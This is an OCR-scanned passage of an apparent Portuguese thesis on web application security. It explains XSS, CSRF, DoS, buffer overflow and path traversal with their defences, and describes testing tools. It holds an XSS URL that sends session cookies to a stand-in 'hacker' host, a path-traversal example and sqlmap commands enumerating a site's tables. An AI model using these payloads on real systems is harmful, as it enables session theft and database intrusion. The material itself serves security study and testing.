e Utilizar uma conta de acesso ao banco de dados com apenas os privilégios necessarios
para a execucao do sistema. Nunca utilize usudrios administrativos, pois seriam
potencializados os danos, sendo possivel remog¢do, inclusdo e alteracao de tabelas,

registros ou indices.

e Fortalecer o SGDB também ¢ um passo que pode ajudar. Através da retirada de
objetos, usudrios e privilégios que ndo serdo utilizados, com essa agdo, caso um ataque

desse tipo seja bem sucedido, os danos seriam amenizados.

3.3  Cross-site scripting

Cross-site scripting também conhecido como XSS, tira proveito da confianga que o

navegador tem no servidor, com isso possibilita o envio de cddigo malicioso, normalmente
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JavaScript, para o usudrio (SOUZA, 2009). Com esta técnica ¢ possivel roubar o historico de
navegagdo e descobrir consultas realizadas em mecanismos (GROSSMAN et al, 2007). Essa
vulnerabilidade acontece quando uma aplicagdo web, nao trata de forma adequada as
informacdes recebidas e as insere diretamente na pagina que € gerada dinamicamente. Isso
ocorre, pois o navegador reconhece como sendo um codigo legitimo da aplicagdo, com isso, o
mesmo ¢ executado, afetando a ele e ndo ao servidor. O XSS ¢ dividido em trés tipos

(JUNIOR, 2009):
1. Persistente.
2. Nao persistente.

3. Document Object Model (DOM) Based.

3.3.1 Cross-site scripting nio persistente

Este ¢ o tipo de cross-site scripting mais comum na internet (JUNIOR, 2009). Ele
depende da acdo do usuario, na maioria das vezes com um clique em algum /link, por isso €
um dos responsaveis por ataques de phishing, que tem como objetivo adquirir dados da
vitima. Essa técnica de XSS gera uma URL com um dominio confiavel e com isso tira
proveito da confianga que o usudrio tem neste dominio (GROSSMAN et al, 2007). Para
contextualizar melhor, imagine um site de comércio eletronico onde os clientes para realizar a
autenticacdo informam nome de usuario e senha, caso corretos, recebem um cookie como
retorno. Neste site existe um formulario para busca, onde os dados de entrada nao recebem o
devido cuidado. Com isso o hacker realiza a busca com um codigo JavaScript para confirmar

a vulnerabilidade, como mostra a figura 3.7 (GROSSMAN et al, 2007).
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Sorry, no results found for =">".
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Figura 3.7 — Exemplo de XSS.

Fonte: Grossman et al, 2007.
Neste momento, apos a confirmacdo, o atacante elabora um codigo malicioso para
gerar uma URL usando o mesmo método e envia-a por e-mail ou mensagem instantanea. A
vitima ao clicar no /ink, entrara no site confidvel e terd o codigo embutido executado pelo
navegador. Possibilitando assim, que o criminoso colete informacdes e as envie para um

servidor proprio como no exemplo da figura 3.8 em que o cookie de autenticacao ¢ roubado.

hitp:/fserver/shopping cart.cgn?search=""-=-aSCRIF‘T=-~rar+im =new+Ilmage(),
img.sre="http://hacker%20+%20document cookie</SCRIPT=

Figura 3.8 — Exemplo de URL com XSS.

Fonte: Grossman et al, 2007.

3.3.2 Cross-site scripting persistente

O tipo de XSS persistente diferente do anterior, ndo necessita do envio de uma URL
para a vitima, pois a pagina que sera visitada ira conter o cddigo malicioso, que foi inserido
pelo hacker (JUNIOR, 2009). O cdédigo normalmente fica armazenado em um banco de
dados. Esta técnica pode passar a ideia de que nao tem poder de causar grandes problemas,

mas com a escrita de um codigo mais elaborado, ¢ possivel (UTO; MELO, 2009):
e Instalar malware;

e Sequestrar sessao;
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e Redirecionar para outras paginas;
e Escravizar navegadores.

Com essas possibilidades exibidas, percebe-se a gravidade e os efeitos que podem ser
causados. Uma ilustracdo (figura 3.9) de como acontece a escravizacdo de browsers pode
comecar com um visitante postando um comentario em um férum. Caso o site aceite tags
HTML no campo de comentarios e nao valide esses dados, o atacante podera inserir uma
instrucdo maliciosa nesse campo. Quando o usudrio tentar realizar a autenticacdo serd
redirecionado para a pagina que contém o codigo inserido, que ao ser executado conecta-se
com o gerenciador, e com isso o navegador acaba sendo escravizado. A partir desse ponto o
atacante poderd executar instrugdes no “zumbi”, para realizar diversas tarefas como as ja

citadas anteriormente.

H |

Aplicacao

5.JavaScript
Malicioso &
executado no

bmwnéser da 6. Browser do usuario envia o token para o atacants
Usuario. -

LIsuario Atacante

Figura 3.9 — Funcionamento do XSS persistente.
Fonte: Fonte: Adaptado de Stuttard e Pinto, 2008.

3.3.3 Cross-site scripting DOM Based
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Cross-site scripting DOM based é outra forma de XSS, diferente das duas
apresentadas anteriormente, ela tem um comportamento de manipular os dados e retornar o
resultado no cédigo fonte da pagina, tornando-a insegura. Este terceiro tipo atua conforme o
processo a seguir e pode ser visualizado na figura 3.10 (STUTTARD; PINTO, 2008):

e O usuario faz a solicitagdo de uma pagina fornecida pelo atacante e que contém um

codigo JavaScript;

e A resposta do servidor ndo possui nenhum script malicioso em qualquer forma;

¢ Quando o navegador processa a resposta o script ¢ executado.

Este ataque se torna possivel quando os parametros sdo extraidos e processados,

gerando um contetdo que depois serd inserido na pagina de forma dinamica (STUTTARD;

PINTO, 2008).
Aplicacao
gfaggnl_tedg P 2. Atacante envia a URL para o usuario
processada -
pelo JavaScript 3. Browser do usuario envia o token para o atacante
desencadeand -
o o ataque.
Usuario Atacants

Figura 3.10 — Funcionamento do XSS DOM Based.
Fonte: Adaptado de Stuttard e Pinto, 2008.

O trecho da figura 3.11 extrai o valor do parametro mensagem e escreve nele. Desse modo ¢

possivel escrever no conteudo da pagina de forma dindmica, parecendo assim como se tivesse

sido retornado pelo servidor.
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Zactipt™

var a = document TEL:

a=unescapela)l;

document wnte(a substring(a mdexOf mensagem="+85,a length));
<fscript=

Figura 3.11 — Exemplo de comando JavaScript para exploracao XSS DOM Based.
Fonte: Stuttard e Pinto, 2008.

3.3.4 Medidas preventivas

Tendo conhecimento da técnica de XSS, € necessario empregar algumas estratégias

para tentar solucionar esse problema, como as seguintes (SCAMBRAY; LIU; SIMA. 2011):

e Receber todas as informacgdes do usuario, como se fossem maliciosas. Assim, todos os

dados recebidos devem passar por uma validagdo antes de serem processados
e Restrinja o tamanho do campo para que contenha apenas o necessario.

e Utilizar a codificagdo HTML na saida dos dados, substituindo caracteres usados em
scripts maliciosos, pois este processo os substitui por um correspondente em HTML.
Sendo assim, se for informada uma string como “<script>" no momento de ser exibida
para o usudrio ela seria codificada, ficando &lt;script&gt;. Na tabela 3.1 estdo os

caracteres mais problematicos e as suas codificagdes.

Tabela 3.1 — Caracteres usados em scripts maliciosos.

Caractere | “ ¢ & < >
Codigo &quot; | &apos; | &amp; | &lt; | &gt;
Fonte: Stuttard e Pinto, 2008.

3.4 Cross-site request forgery

Cross-site request forgery (CSRF), também conhecido como session ridding e XSRF
¢ uma técnica que utiliza a sessdo de um usuario ja autorizado pela aplicagdao vulneravel, para
aproveitar-se da confianca que a aplicacdo tem de que € o usudrio que esta fazendo as
requisi¢des, € com isso realizar agdes sem o consentimento da vitima (SOUZA, 2009). A
exploragdo de CSRF acontece, quando um sistema web ndo garante que as requisi¢des de um
usudrio estdo em um mesmo contexto, possuindo uma logica de execugdo, ou seja, que 0s
dados de entrada tenham vindo da tela de captura, e processados da forma planejada pelo

programador. A preocupacao que se deve ter ¢ devido ao problema de como verificar se uma
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solicitacdo foi intencional ou ndo. Apesar dos desenvolvedores ndo se preocuparem muito o
CSRF, ¢ aconselhével ter uma atencao a ele de igual forma como para as outras técnicas, pois
ja causou bastante incomodo a sites populares como: Twitter, Facebook, MySpace e outras
redes sociais. Um site que sofreu com esse método foi o Netflix em 2009, quando era possivel

realizar as agdes de (SCAMBRAY; LIU: SIMA, 2011):
e Adicionar filmes para fila de locagdes;
e Habilitar e desabilitar informag¢des adicionais de um filme;
e Alterar e-mail e senha de uma conta;
e Alterar nome e endereco de uma conta;

e Cancelar contas.

3.4.1 Medidas preventivas

A seguir algumas formas para tentar evitar ataques CSRF (SCAMBRAY;LIU:SIMA,
2011):

e Prefira utilizar o método de envio de formularios POST no lugar de GET, pois isso ird

dificultar esse tipo de técnica;

e Ao realizar agdes criticas, como excluir um dado importante, pedir para que o usuario
se autentique novamente, para assim, caso a solicitacdo seja feita pelo atacante, a

mesma nao seja aceita;

e Em transagdes sensiveis utilizar um campo do tipo hidden para enviar o ID da sessao
atual e armazenar esta informacdo em um cookie no lado do cliente. O servidor ao
receber o formulério vai verificar se a informagdo do cabecalho hypertext transfer
protocol (HTTP) vai coincidir com o valor do cookie. Caso os valores sejam diferentes

rejeitar o pedido e registrar em um /og.

3.5 Denial of Service

Ataques Denial of Service (DoS) também conhecidos como, negacdo de servigo
consiste na tentativa de impedir que um usuario legitimo de um sistema o utilize

(BERTHOLDO; ANDREOLI; TAROUCO, 2003). Esse impedimento se da por meio de uma
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inundagdo de requisicdes falsas para um determinado site, at¢ o ponto de causar uma
sobrecarga, com isso, ele acaba recusando as solicitagdes de usudrios reais, impedindo-lhes
que acessem alguns dados aos quais queiram. Ha uma sub-categoria desse tipo que ¢ o ataque
de negacdao de servigo distribuido. A diferenga ¢ basicamente a atuacdo de mais de um
atacante disparando contra um mesmo alvo (MEDEIROS, 2001). Esses atacantes podem ser
varios computadores zumbis comandados por um hacker ou com a ajuda de outros
participantes. Este tipo de técnica ¢ empregada quando se tem como objetivo causar um

prejuizo a uma empresa ou desativar seu site temporariamente.

Este tipo de ataque ¢ de facil uso, mas em contrapartida de dificil defesa, pois podem
explorar alguns fatores para alcangar o objetivo de indisponibilizar o servico, tais como (2000,

APUD MEDEIROS, 2001):

e Flooding: O envio de varias solicitacdes em curto periodo de tempo, sobrecarregando
a vitima que acaba nao conseguindo processar todas as informagdes e descartando

algumas requisigoes legitimas;

e Pacotes anormais: O protocolo TCP/IP ndo trata o recebimento de pacotes incorretos,

sendo assim, a maquina que receber pode acabar tendo problemas de travamento;

e Buffer overflow: Outro fator que pode ser explorado com a técnica de DoS ¢ caso o
software tenha uma falha que envolva a alocacao de memoria. Com este problema de

implementagdo € possivel até mesmo executar algum cddigo remotamente.

Mesmo nao causando a perda de informagdes, nem o roubo, essa técnica ao
indisponibilizar o sistema pode resultar em muitos prejuizos para a empresa (LAUFER,

2005).

3.5.1 Medidas preventivas

Mesmo com a dificuldade de evitar ataques do tipo Denial of Service, ha algumas

medidas que podem ser realizadas na tentativa de solucionar (LAUFER, 2005):
e Manutencao dos softwares atualizados;

e Filtragem dos pacotes forjados pelos enderegos IP de origem;
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Caso estas tentativas ndo funcionem, ha a possibilidade de alguma medida reativa,
através do rastreamento dos pacotes para identificar o emissor e com essa informagdo entrar

com agao judicial para que os ataques cessem.

3.6 Buffer overflow

Este tipo de vulnerabilidade ¢ explorada quando ocorre um erro no acesso a partes da
memoria e assim possibilita realizar agdes ndo permitidas. Essa exploragdo consiste na
inser¢ao de dados em um campo, onde o tamanho desses dados ¢ maior do que ele suporta
(STUTTARD; PINTO, 2008). Exemplificando, imagine dois campos de 32 bytes onde devem
ser informados o usudrio € a senha para obter acesso. Caso o usudrio informado seja maior
que 32 caracteres, ocorreria o estouro do buffer. Sendo assim, o atacante pode inserir mais de
32 caracteres e com isso, os dados excedentes substituiriam instru¢cdes nos espacos de
memoria adjacentes, logo, possibilitando ataques Denial of Service e ganhar acesso
privilegiado (MEDEIROS, 2001). Apesar de ja haver protegdes contra esse tipo de ataque, ela
pode trazer consequéncias consideraveis se for explorada, como mencionado anteriormente. A
busca dessa falha da-se através do envio de uma quantidade grande de dados e o
monitoramento da resposta do servidor, caso ela esteja presente sera possivel identifica-la

através desse processo (SCAMBRAY; LIU; SIMA, 2011).

3.6.1 Medidas preventivas

A falha de buffer overflow da-se devido a uma limitada ou inexistente checagem de
erro. Em virtude disso sdo apresentadas algumas maneiras para se proteger (ROMERO;

KACUTA; OLIVEIRA, 2003):
e Aplicar os patches do fornecedor ou instalar a tltima versao do software;
e Testar aplicacdes chaves;
e Executar o software com o menor privilégio possivel;

e Filtrar o trafego especifico no firewall.
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3.7 Path transversal

O ataque de path transversal tem como objetivo acessar arquivos ou diretdrios que
estdo armazenados além do diretorio da aplicagdo. Com essa técnica o invasor pode ter acesso
a dados sensiveis como senhas, logs ou até mesmo arquivos do sistema operacional. Esse tipo
de falha acontece quando a aplica¢do acessa arquivos que estdo no servidor para leitura ou
escrita. Com isso, se esses parametros nao forem tratados da forma adequada o atacante pode
comprometer o sistema (STUTTARD; PINTO, 2008). Como exemplo, imagine um aplicativo
que em determinada pagina exibe uma imagem, a qual ¢ passada como parametro (figura

3.12):

http:aplicative. comfgetlmage aspaTarquive=imagem 1 jpg

Figura 3.12 — Exemplo de URL vulneravel a path transversal.
Fonte: Stuttard e Pinto, 2008.

Quando o servidor web recebe essa requisi¢ao, ele pega o parametro passado e acrescenta o

caminho onde as imagens estao armazenadas (figura 3.13):

Cllaplicativoimagensh

Figura 3.13 — Exemplo do caminho a ser explorado com path transversal.
Fonte: Stuttard e Pinto, 2008.

Assim, o servidor 1€ o arquivo com o nome informado ¢ monta a pagina dinamicamente, que ¢
exibida no navegador do usuario. Dessa forma, se o invasor utilizar comandos para recuar

diretorios, ele podera acessar outros lugares, como mostra a figura 3.14:

httpffaplicative comigetlmage aspa?arguive= "\ \windows!

Figura 3.14 — Exemplo de exploragdo com path transversal.
Fonte: Stuttard e Pinto, 2008.

Quando o pardmetro ¢ concatenado com o caminho onde estdo as imagens, o atacante estaria

tendo acesso a pasta Windows (figura 3.15):

Chaplicativoimagensh. L Wwindows\

Figura 3.15 - Exemplo de caminho alcangado com path transversal.
Fonte: Stuttard e Pinto, 2008.

Neste exemplo, a partir desse ponto o atacante poderia realizar outras agdes e causar alguns

transtornos.

3.7.1 Medidas preventivas
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Com a intengdo de eliminar e evitar que algum site tenha essa vulnerabilidade ¢é

necessario seguir algumas sugestdes (STUTTARD; PINTO, 2008):

Utilizar URL para acesso direto aos arquivos;
respeitar uma lista dos tipos de arquivos permitidos;

verificar se 0 nome do arquivo contém uma sequéncia de caracteres que realiza a

mudanga de diretdrio, caso encontrado, parar o processamento imediatamente;

confirmar que arquivo passado como parametro estd dentro do diretério inicial,

especificado pelo aplicativo;

implementar na aplicacdo a funcionalidade de gerar /ogs e enviar alertas para o

administrador sempre que receber um pedido potencialmente malicioso.

No corrente capitulo foram apresentas as principais técnicas utilizadas por invasores,

para no proximo mostrar algumas ferramentas que auxiliam na execucao destas exploragdes e

podem até automatizar essa tarefa.



4 FERRAMENTAS

Conhecendo as principais ameagas e técnicas empregadas na exploragcdo de falhas,
foram selecionadas algumas ferramentas sugeridas pela metodologia OWASP, que serdo

empregadas para identificar essas vulnerabilidades nos sistemas de comércio eletronico.

4.1 Nessus

E um scanner de vulnerabilidades disponivel para plataformas Windows, Linux e
Mac Os. Desenvolvido pela Tenable Network Security Inc que aprimora o motor deteccao e
cria plugins para disponibilizar novas funcionalidades. O Nessus ¢ dividido em duas partes, a
primeira ¢ o cliente, responsavel por fazer as requisigdes de testes e através da sua interface
web, representada pela figura 4.1, permite visualizar relatdrios, administrar usudrios,
gerenciar os scans e as politicas (TENABLE NETWORK SECURITY, 2011). Estas politicas
sdo as opgoes de configuragdo empregadas nas buscas por vulnerabilidades, as quais podem
ser criadas ou modificar as ja existentes conforme as necessidades do profissional que a
utilize. Esta personalizacdo possibilita a escolha dos métodos de busca por portas abertas e
plugins que serao utilizados (TENABLE NETWORK SECURITY, 2011). Ja a segunda parte
do software, ¢ o servidor, que processa as requisigdes, gera os relatorios € armazena a base de

conhecimento e os plugins (DERAISON, 2004).

Nessus falipe | Help | About | Log out

Reports MB a! H‘Hﬂ U!l!

Report Info 1 results

Narme: scan Host

Last Update: May 29, 2012 14:46 www.site.com. br

Status: Running

Download Report

Show Filters

Reset Filters

Active Filters

Figura 4.1 — Tela cliente do nessus em execucao.
O funcionamento desta ferramenta comeca com a autenticagdo do usuario. Se
autorizado ele conecta-se ao servidor por meio do cliente e através deste escolhe a politica, de

acordo com o objetivo do scan. Com isso, € enviada uma solicitacao para que o servidor inicie
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a varredura de portas no host alvo para detectar servidores ativos, apos verificar quais estao
abertas, sdo executados codigos de exploragdo para realizar testes na busca por falhas.
Durante a execugdo, o software permite acompanhar o andamento da atividade, exibindo as
falhas encontradas e os niveis de riscos delas, como mostra as figuras 4.1 e 4.2. No segundo
exemplo ¢ exibida a descricio dos problemas, caso necessario ¢ possivel obter mais

informagdes sobre eles e sugestdes para a solugdo, clicando sobre seus nomes.

Nessus folips | Hep | Anout | Logout

Reports Bﬂs ﬁ! E‘EE! H“E

Report Info www.site.com.br List m Detail 8 results

Hosts Plugin ID Name Port

Ports / Protocols 45410 S5L Certificate commonMame Mismatch wanw (44 3itcp)

22964 Senvice Detection wan (44 3fcp)
10863 SSL Certificate Information W (443/tcp)
)

20007 SS5L Version 2 (v2) Protocol Detection wan (443/tcp)
22964 Service Detection wani (44 3itcp)
51891 S5L Session Resume Supported wani (443#cp) Lo

Medium
Low

45411 SSL Certificate with Wrong Hostname W (4431cp) Medium
21643 SSL Cipher Suites Supported w (443/tcp) Low

Download Report

Show Filters

Reset Filters

Active Filters

Figura 4.2 — Tela nessus vulnerabilidades encontradas.

4.2 WebScarab

E um framework multiplataforma desenvolvido em Java que ¢ utilizado para analise
de aplicacdes que utilizam os protocolos de comunicagdo HTTP ¢ HTTPS. Além de sua
portabilidade, outra vantagem ¢ os diversos modos de operacdo, fuzzer, webservices, xss, etc.
O WebScarab (figura 4.4) intercepta as solicitagdes e respostas entre o servidor e a aplicagao,
podendo modifica-las ou nao (OWASP, 2012). Ele funciona como um proxy, portanto, ¢
preciso configurar o navegador para utilizd-lo como tal, como mostra a figura 4.3, que

representa a configura¢do no navegador Mozilla Firefox.
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® @ Configurar conexao

Acesso a internet
Sem proxy
Autodetectar as configuracdes de proxy para esta rede
Usar as configuracdes de proxy do sistema

® Configuragio manual de proxy:

HTTP: | localhost | Porta: | 8008

Usar este proxy para todos os protocolos

ssL: | | Porta: | ol
ETP: | | Pogai [ off
Gopher: ‘ | Porta: | ol
SOCKS: | | Porta: | e

SOCKSv4 @ SOCKS v5

Sem proxy para:

Exemplo: .mozilla.org, .net.nz, 192.168.1.0/24
Enderego para configuragao automatica de proxy:

Figura 4.3 — Exemplo de configurag¢do para o WebScarab.

Para dar inicio as interceptagdes € preciso ir a aba Intercept da ferramenta, marcar as opgdes
intercept requests e intercept reponses. O software também permite selecionar o tipo de
requisicdo, get ou post, que serdo capturados. Com o inicio das capturas ele exibe
automaticamente cada requisi¢ao realizada e caso desejado alguma alteragdo pode ser feita.
No decorrer de sua atividade, ja ¢ indicado possiveis falhas dos tipos injection ou cross-site

scripting, além de outras informagdes como: origem, método utilizado, parametros, etc.

Eile View Tools Help

Summary | Messages | Proxy | Manual Request | i Spider i | XSSICRLF | SessioniD Analysis | Scripted | Fragments | Fuzzer | Compare | Search

[_] Tree Selection filters conversation list

url | Methods | Status  [Possiblelni.|_Injection | Set-Cookie | Gomrments | Scripts

o [ htip:Jievsecure-crl.verizign.com 80/ =] O [m]

o ] hitp:ieveecure-aesp.verision com: G0 POST 200 Ok =] =] =] ]

o [ hitp:fid.google corm.brer = il ™~ ™ =]

o [ http:firrrycroft mozidey. org GO0 =] il O =] =]

o [ http:fiocsp verisign com &0i FOST 200 Ok el O O o =]

o= [ hitp:safebrowsing-cache.google com:a0; ] Il = = =

o [ hitp:isafebrowsing.clients.google.com:80/ = =] ™ = =

D Date ethad | Host | Path = P Stalus Crigin__|Possible Inj 5 CRLF | SetCookie | Cookie | Comments | Scripls

12 20120630, |GE It 008 COMm..__ DSl iSiss,at, 200 0K Froxy [H] PREF=ID=. ]

11 2012/0%30. . |GE httpifid google.com br80 herififEASAAC, 200 OK Proxy SMID=F0=x__|SNID=55=

17 2012/0530..|GE hiip-twnnw google.com.._. [furl 9sa=tércis)&o=ibestm... 200 OK Proxy 2 ] O PREF=ID= O vl
2 2012/0530...|GET hitpeiimycrof. mozdev.or... [flupdateos.php 404 Mot Fo... |Proxy 1| L] = L L
g 201 2/05030...|GET hitpathurmes google.com.... [isearch 2o=ibesimail&ie=utrg... 302 Found  [Proxy v] ] = FREF=ID=. ™ =
9 201 2/0530... GET hittpciharees 800G 8. COM.... fEearth Tu=ibestmail&ie=utig.. |200 0K Proxy v] = ] [v] [w]
3 201 20 E ! ing-cac... |fsafehrowsing [o] Proxy = ] ™= ™ =
1 201211 E ing-cac... |fsafehrowsing. 5] Proxy

B 30121 E ing-cac... |isafebrowsing, il Froxy

27 20121 E gafehrowsing, 1] Proy | O O O O
26 2012/05030...|GET hitpi/satebrowsing-cac.., fsafehrowsing., 200 OK Proxy ™ L L L L
ED 2012/0530...|GET hitpiigafebrowsing-cac.., feafehrowsing., 200 0K Proxy | ] | O |
28 201 2/05030...|GET hitpesafebrowsing-cac... [isafehrowsing. 200 0K Proxy [ ™ ] = ]
1 201 20 POST sisafebrowsing clie. . (safebrowsing.. |?client=naveliant-auto- [o] Proxy = =] = PREF=ID= = ™=
22 201211 GET iewsBLUre-CHLvenisl. fpras-05 o 5] Proxy

0 30121 GET google.com.... [flogos/207 2ifa. il Froxy PREF=ID=.

B 20121 GET gsl.gstatic.com B0 |igbfjs/sem_83 il Prowy =] O O ] ]
13 2012/0530...|GET hitpifueeer google com..., fexemn_chrom., |?ie=utfF8&oe=uti-2 200 0K Proxy v L L L L
15 2012/05730...|GET hitpifuer. google. com..., [fesi Py=3&s=weh&action=... |204 No Co.., |Proxy L = L L L
5 201 2/0530... GET hitpei/suggestyueries.g... fcompletersea.. [output=frefoxgelient=...| 200 OK Proxy v] || ™= ™= =
B I GE cisugnestyueries o feampleteisea. |?output=firefox&elient= 0K Proxy v] ™ ™= = ™=
7 T GE WisUggestyueries.y . icomplateisea.. |70utpUt=nirefox&elient= oK Frowy v

13 T GE google com__|iclient_204 7&biw=1250&AIh=661 NoCo_ |Progy

g T FOST ocspverisign.com. [ Froxy = O O O O
21 2012/0530...|POST hitpiijewsecure-oesp.ver... i 200 Ok Proxy Ll L] L L L
EB 2012/0530...|POST hitpifocep verisign.com... |f 200 Ok Proxy Ll L] L L L
24 201 2/05030... POST hitpeevs ecure-ocspyer.. i 200 Ok Proxy =] ] m] L =
25 2012/0530.[POST httpeacsp verisign com.|i 200 Ok Proxy = = L ] =
4] I [

Figura 4.4 — Tela do WebScarab em uso.
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Ele ¢ um projeto mantido pela OWASP e seu uso ¢ indicado para desenvolvedores
que querem depurar problemas ou especialistas de seguranga que buscam identificarem falhas

em softwares (OWASP, 2012).

4.3 SQLmap

E uma ferramenta de codigo aberto executada em linha de comando, usada em testes
de intrusdo para automatizar a exploragdo de falhas sq/ injection. Esta ferramenta foi
desenvolvida com o uso da linguagem Python e pode ser utilizada tanto em Linux como
Windows, sendo preciso apenas um interpretador para Python. Ela possui suporte aos bancos
de dados: Oracle, Sql Server e MySql, SQLite e outros (DAMELE; STAMPAR, 2011). Para
seu uso € necessario identificar manualmente uma URL vulneravel e a partir de entdo com o

uso da ferramenta, comegar a exploragao (DAMELE; STAMPAR, 2011).

No exemplo foi informada uma URL juntamente com o parametro —b que retornou o

banner do banco de dados com as informagdes de nome e a versdo (figura 4.5).

2 & @ root@felipe-laptop: /home/felipe

Arquivo Editar Ver Terminal Ajuda

root@: /home/felipe/Download/sqlmap$./sqlmap.py --url "http://www.o site.net/noticias.php?id=3 s
8591" -b

[11:33:06] [INFO] using '/home/felipe/Download/sqlmap/output/www.osite.net/session' as sessio
n file

[11:33:06] [INFO] testing connection to the target url

[11:33:09] [INFO] url is stable

[11:33:12] [INFO] the back-end DBMS is MysQL

web application technology: Apache 2.2.21
back-end DBMS: MySQL 5.0

Figura 4.5 — Exemplo 1 de uso do SQLmap.
Logo em seguida foi passado outro pardmetro para a obtencdo do nome da base

dados e a resposta do software foi ‘site’ (figura 4.6).

@felipe-laptop: fhome/felipe

Arquivo Editar Ver Terminal Ajuda

root@: /home/felipe/Download/sqlmaps./sqlmap.py --url "http://www. site.org.br/noticias.php?id
=94" --current-db

[11:39:41] [INFO] using '/home/felipe/Download/sqlmap/output/www. site.org.br/session' as sess
ion file

[11:39:41] [INFO] resuming injection data from session file

[11:39:41] [INFO] resuming back-end DBMS 'mysql 5.8' from session file

[11:39:41] [INFO] testing connection to the target url

current database: ''site’

Figura 4.6 — Exemplo 2 de uso do SQLmap.
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Com essas informagdes em maos € possivel obter diversos dados importantes sobre a
aplicagdo alvo. Na figura 4.7 observa-se que foi capturada a lista de todas as tabelas e

armazenadas em arquivo, todas as informacgdes exibidas no terminal, ficam em /og.

8 © @ root@felipe-laptop: /home/felipe

Arquivo Editar Ver Terminal Ajuda

root@: /home/felipe/Download/sqlmap$./sqlmap.py --url “"http://www. site.org.br/noticias.php?id=
94" -D faser --tables

[11:49:06] [INFO] using '/home/felipe/Download/sglmap/output/www. site.org.br/session' as sessi
on file

[11:49:06] [INFO] resuming injection data from session file

[11:49:06] [INFO] resuming back-end DBMS 'mysql 5.8' from session file

[11:49:06] [INFO] testing connection to the target url

[ |

11:49:07] [INFO] the back-end DBMS is MysQL
web application technology: Apache 2.2.21
back-end DBMS: MySQL 5.0

[11:49:07] [INFO] fetching tables for database ' site’

[11:49:07] [INFO] read from file *'/home/felipe/Download/sqlmap/output/www. site.org.br/session’
site, Intra usuarios, site, administracao, site, agenda, site, artigos, site, cadastro,
site, eventos, site, galeria, site, galerias, site, intra arquivos, site, intra categorias
, site, intra recados, site, intra tipos, site, links, site, noticias, site, novidades, si
te , paginas, site, publicacoes, site, secoes

Database: site

Figura 4.7 - Exemplo 3 de uso do SQLmap.
Além dessas opgdes, também ¢ possivel, copiar as informagdes, ver os privilégios do usuario
do sistema, abrir um terminal com shell interativo entre outras que se encontram no manual da
ferramenta no link http://sqlmap.sourceforge.net/doc/README.pdf (DAMELE; STAMPAR,
2011).

4.4 Add N Edit Cookies

E um complemento para o navegador Mozilla Firefox, criado pelo desenvolvedor de
apelido Goodwill. A ferramenta possibilita editar os cookies de sites através da tela da figura
4.8. Com isso, ¢ possivel obter acesso ndo autorizado se a aplicacdo web nao tiver um

tratamento adequado na area de /ogout (GOODWILL, 2008).



44

® © ® AnEC Cookie Editor v0.2.1.3

| |

Site. _ Cookie Name -
twitter.com __utmv 4
twitter.com _utmz [
twitter.com _utma

twitter.com guest_id

Note! The list above is not updated automatically when the Cookie Manager is open.
Information about the selected Cookie
Name: _ utmv
Content: 43838368.1ang%3A%20pt
Domain: _twitter.com
Path: /
Send For: Any type of connection
Expires: 01/04/2014 17:29:35

Selection: Cookie:

i

Figura 4.8 — Tela do Add N Edit Cookies.

4.5 OWASP Live CD

E uma distribuigdo Linux focada em testes de seguranga para aplicativos web (figura
4.9). A distribuicao possui interface grafica K Desktop Environment (KDE), o que torna seu
uso facil. Nela esta reunida a documentagdo disponibilizada pela institui¢do e as ferramentas
de que sdo sugeridas e utilizadas no guia de testes. Além da documentacdo de testes ela traz
consigo livros produzidos pela instituicdo que abordam a utilizagdo de seus projetos como o

WebGoat e outros (OWASP, 2008).

OWASP Lieco

The Open Web Application Security Project

) ‘,\.,‘ )»o‘ f A E"l ‘5 ‘j

Figura 4.9 — Tela do OWASP Live CD.
Este capitulo foi utilizado para indicar algumas ferramentas para ajudar na execugdo

de testes, enquanto, o proximo sera para o detalhamento da metodologia do trabalho, no qual
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serdo apresentados dados relevantes sobre a arquitetura computacional e os ambientes a serem

testados.



5 METODOLOGIA E VALIDACAO

Conforme Prodanov (2009), esse trabalho se enquadra em sua natureza como uma
pesquisa aplicada, pois tem como objetivo gerar conhecimento para uma aplicagao pratica na
resolucdo de problemas. J4 quanto os objetivos, sdo do tipo experimental, pois tem a
finalidade de obter mais informagdes sobre o tema. Por fim, os procedimentos técnicos
aplicados neste estudo para a obtencao dos dados, foram categorizados como experimental, j&
que as varidveis do objeto de estudo sao manipuladas, e os efeitos que podem ser produzidos

sdo observados em um ambiente controlado e com o uso dos instrumentos adequados.

Nesse sentido, iniciou-se uma busca por informagdes as quais pudessem ser
importantes nos testes propriamente ditos. Para isso, mapearam-se as aplicagdes, identificando
possiveis pontos de entrada, métodos de envio de formulérios utilizados e campos do tipo
hidden. Identificaram-se também os servicos que estavam sendo executados no servidor e
suas respectivas versdes. Na etapa seguinte testou-se o gerenciamento de configuragdo, no
qual foram efetuados testes sobre os métodos HTTP, extensdes de arquivos aceitas e
averiguou-se a localizacdo das interfaces administrativas. A proxima fase abrangeu testes de
autenticacdo, no qual checaram-se a possibilidade de enumeragdo de usudrios, for¢a bruta,

timeout, fatores de autenticagdo entre outras coisas.

Apo6s os testes da categoria de autenticacdo para continuar a logica da aplicagdo
verificou-se o gerenciamento de sessdo, onde aplicaram-se testes para CSRF, atributos dos
cookies, tfixagao de sessdo , etc. O passo seguinte foi sobre autorizacao, no qual foram tratados
os seguintes pontos: ultrapassar esquema de autorizacdo, escalada de privilégio e path
transversal. Com o decorrer das etapas anteriores chegou o momento de testar a validagdo dos
dados, na qual sdao verificados diversos tipos de injecdo de cddigo, entre elas estao xss, SQL

injection, buffer overflow e outros.

Prosseguindo a investigacdo alcancou-se a categoria negacao de servico, onde foram
aplicadas técnicas para bloqueio de contas, buffer overflow, alocacdo de objetos,
armazenamento de dados em sessdo, etc. No final foram executados testes para a tecnologia
AJAX e averiguou-se a logica do negbcio, se era possivel ultrapassar alguma etapa do

Processo de compra.

Sendo assim, como instrumento para validacdo dos dados obtidos, utilizou-se uma
tabela sugerida pelo guia de testes da OWASP que ¢ indicado para relatdrios técnicos e pode

ser observada na tabela 5.1.



Tabela 5.1 — Tabela para validagao dos testes.
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Categoria Numero Nome do teste Encontrado | Solu¢do | Risco
de ref.
Obtencdo de | OWASP- | Spiders, Robots and
informacao 1G-001 Crawlers
OWASP- | Search Engine
1G-002 discovery/Reconnaissance
OWASP- | Identify application entry
1G-003 points
OWASP- | Testing for Web Application
1G-004 Fingerprint
OWASP- | Application Discovery
1G-005
OWASP- | Analysis of Error Codes
1G-006
Teste de gestdo | OWASP- | SSL/TLS Testing
de CM-001
configuragdo OWASP- | DB Listener Testing
CM-002
OWASP- | Infrastructure
CM-003 Configuration Management
Testing
OWASP- | Application  Configuration
CM-004 Management Testing
OWASP- | Testing for File Extensions
